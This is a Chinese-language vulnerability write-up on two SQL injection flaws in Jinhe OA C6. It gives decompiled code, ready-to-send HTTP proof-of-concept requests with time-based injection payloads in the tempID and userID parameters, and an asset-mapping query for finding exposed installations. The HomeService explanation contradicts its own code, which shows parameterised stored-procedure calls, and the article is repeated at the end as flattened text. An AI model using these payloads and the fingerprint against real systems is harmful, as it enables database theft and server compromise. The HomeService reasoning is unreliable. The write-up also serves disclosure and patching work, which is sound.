金和oa-MailTemplates.aspx以及HomeService.asmx的sql注入漏洞分析
字数 977 2025-08-22 18:37:14

金和OA C6 MailTemplates.aspx及HomeService.asmx SQL注入漏洞分析

漏洞概述

金和OA C6系统中存在两处SQL注入漏洞:

  1. MailTemplates.aspx接口处的SQL注入漏洞
  2. HomeService.asmx接口处的SQL注入漏洞

攻击者可利用这些漏洞:

  • 获取数据库中的敏感信息(如管理员后台密码、用户个人信息)
  • 在高权限情况下向服务器写入木马
  • 进一步获取服务器系统权限

分析环境准备

  1. 工具准备:

    • dnSpy:用于反编译.NET程序集
    • 金和OA C6系统的bin目录下的所有.dll文件
  2. 反编译步骤:

    • 在dnSpy中打开bin目录下的所有.dll文件
    • 在程序集资源管理器中查看目录结构
    • 目录结构对应系统路由访问路径

MailTemplates.aspx漏洞分析

漏洞位置

JHSoft.Web.Mail命名空间下的MailTemplates

关键代码分析

  1. Page_Load方法
protected void Page_Load(object sender, EventArgs e) {
    CultureInfo cultureInfo = (CultureInfo)this.Session["culture"];
    this.htc = cultureInfo.Name + ".css";
    this.InitText();
    
    if (base.Request.QueryString["tempID"] != null) {
        this.TempID = base.Request.QueryString["tempID"].ToString();
    }
    
    if (!this.Page.IsPostBack && this.TempID != "") {
        this.iniTemp(this.TempID);
    }
}
  1. IsPostBack属性

    • 判断页面是否为首次加载或由用户操作引起的部分加载
    • 直接访问页面时不是回发,会执行iniTemp方法
  2. iniTemp方法

private void iniTemp(string tempID) {
    DataTable templateObject = this.GetTemplateObject(tempID);
    if (templateObject != null && templateObject.Rows.Count > 0) {
        this.TemplateContent.Text = templateObject.Rows[0]["TemplateContent"].ToString();
        this.TemplateName.Value = templateObject.Rows[0]["TemplateName"].ToString();
    }
}
  1. GetTemplateObject方法(漏洞点)
private DataTable GetTemplateObject(string tempID) {
    string sql = "SELECT * FROM Mail_Template WHERE TemplateID='" + tempID + "'";
    DataTable result = this.ExecSQLReDataTable(sql);
    // 错误处理代码...
    return result;
}

漏洞成因

  • 直接将用户可控的tempID参数拼接到SQL语句中
  • 未进行任何过滤或参数化处理

HomeService.asmx漏洞分析

漏洞位置

jhsoft.mobileapp.AndroidSevices命名空间下的HomeService类中的GetHomeInfo方法

关键代码分析

  1. GetHomeInfo方法
public DataSet GetHomeInfo(string userID) {
    DiaryManagePro diaryManagePro = new DiaryManagePro();
    DataTable quickUserInfo = diaryManagePro.GetQuickUserInfo(userID);
    // 其他代码...
}
  1. GetQuickUserInfo方法
public DataTable GetQuickUserInfo(string userCode) {
    string procedureName = "pt_GetQuickUserInfo";
    object[] paraValues = new object[] { userCode };
    return this.ExecProcReDataTable(procedureName, paraValues);
}
  1. ExecProcReDataTable方法
public DataTable ExecProcReDataTable(string ProcedureName, object[] ParaValues) {
    DataTable dataTable = new DataTable();
    SqlDBOperator.ReturnMethord returnMethord = new SqlDBOperator.ReturnMethord(this.ReturnDataTable);
    return (DataTable)this.Execproc(ProcedureName, ParaValues, dataTable, returnMethord);
}
  1. Execproc方法
private object ExecProc(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult) {
    base.ClearErrorMessage();
    StackTrace stackTrace = new StackTrace(true);
    this.CallClassName = stackTrace.GetFrame(2).GetMethod().ReflectedType.FullName;
    this.CallMethodName = stackTrace.GetFrame(2).GetMethod().Name;
    
    if (this.bInTransaction) {
        return this.ExecProcInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);
    }
    return this.ExecProcNotInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);
}
  1. ExecProcInTrans方法(漏洞点)
private object ExecProcInTrans(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult) {
    base.ClearErrorMessage();
    this.comm.CommandText = ProcedureName;
    this.comm.CommandType = CommandType.StoredProcedure;
    this.comm.CommandTimeout = 90;
    
    try {
        if (!this.OpenConn()) {
            return -1;
        }
        this.SqlCommAddParameter(this.comm, ParaValues);
        ReValue = ReturnResult(this.comm, ReValue);
    }
    catch (Exception e) {
        string errorSQL = "事务中,存储过程:" + this.comm.CommandText + " 参数信息:" + base.GetCommandParameter(this.comm, ParaValues);
        base.SaveErrorMessage(e, errorSQL);
        base.ClearReturnValue(ReValue);
    }
    return ReValue;
}

漏洞成因

  • 用户可控的userID参数直接拼接到存储过程调用中
  • 未进行适当的参数化处理或过滤

漏洞复现

MailTemplates.aspx漏洞POC

GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: target_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

HomeService.asmx漏洞POC

GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

修复建议

  1. 对所有用户输入进行严格的过滤和验证
  2. 使用参数化查询或存储过程
  3. 实施最小权限原则,限制数据库账户权限
  4. 对敏感操作进行日志记录和监控
  5. 更新到金和OA的最新版本

资产测绘

使用以下特征识别金和OA系统:

app="金和网络-金和OA"
金和OA C6 MailTemplates.aspx及HomeService.asmx SQL注入漏洞分析 漏洞概述 金和OA C6系统中存在两处SQL注入漏洞: MailTemplates.aspx接口处的SQL注入漏洞 HomeService.asmx接口处的SQL注入漏洞 攻击者可利用这些漏洞: 获取数据库中的敏感信息(如管理员后台密码、用户个人信息) 在高权限情况下向服务器写入木马 进一步获取服务器系统权限 分析环境准备 工具准备: dnSpy:用于反编译.NET程序集 金和OA C6系统的bin目录下的所有.dll文件 反编译步骤: 在dnSpy中打开bin目录下的所有.dll文件 在程序集资源管理器中查看目录结构 目录结构对应系统路由访问路径 MailTemplates.aspx漏洞分析 漏洞位置 JHSoft.Web.Mail 命名空间下的 MailTemplates 类 关键代码分析 Page_ Load方法 : IsPostBack属性 : 判断页面是否为首次加载或由用户操作引起的部分加载 直接访问页面时不是回发,会执行iniTemp方法 iniTemp方法 : GetTemplateObject方法(漏洞点) : 漏洞成因 直接将用户可控的 tempID 参数拼接到SQL语句中 未进行任何过滤或参数化处理 HomeService.asmx漏洞分析 漏洞位置 jhsoft.mobileapp.AndroidSevices 命名空间下的 HomeService 类中的 GetHomeInfo 方法 关键代码分析 GetHomeInfo方法 : GetQuickUserInfo方法 : ExecProcReDataTable方法 : Execproc方法 : ExecProcInTrans方法(漏洞点) : 漏洞成因 用户可控的 userID 参数直接拼接到存储过程调用中 未进行适当的参数化处理或过滤 漏洞复现 MailTemplates.aspx漏洞POC HomeService.asmx漏洞POC 修复建议 对所有用户输入进行严格的过滤和验证 使用参数化查询或存储过程 实施最小权限原则,限制数据库账户权限 对敏感操作进行日志记录和监控 更新到金和OA的最新版本 资产测绘 使用以下特征识别金和OA系统: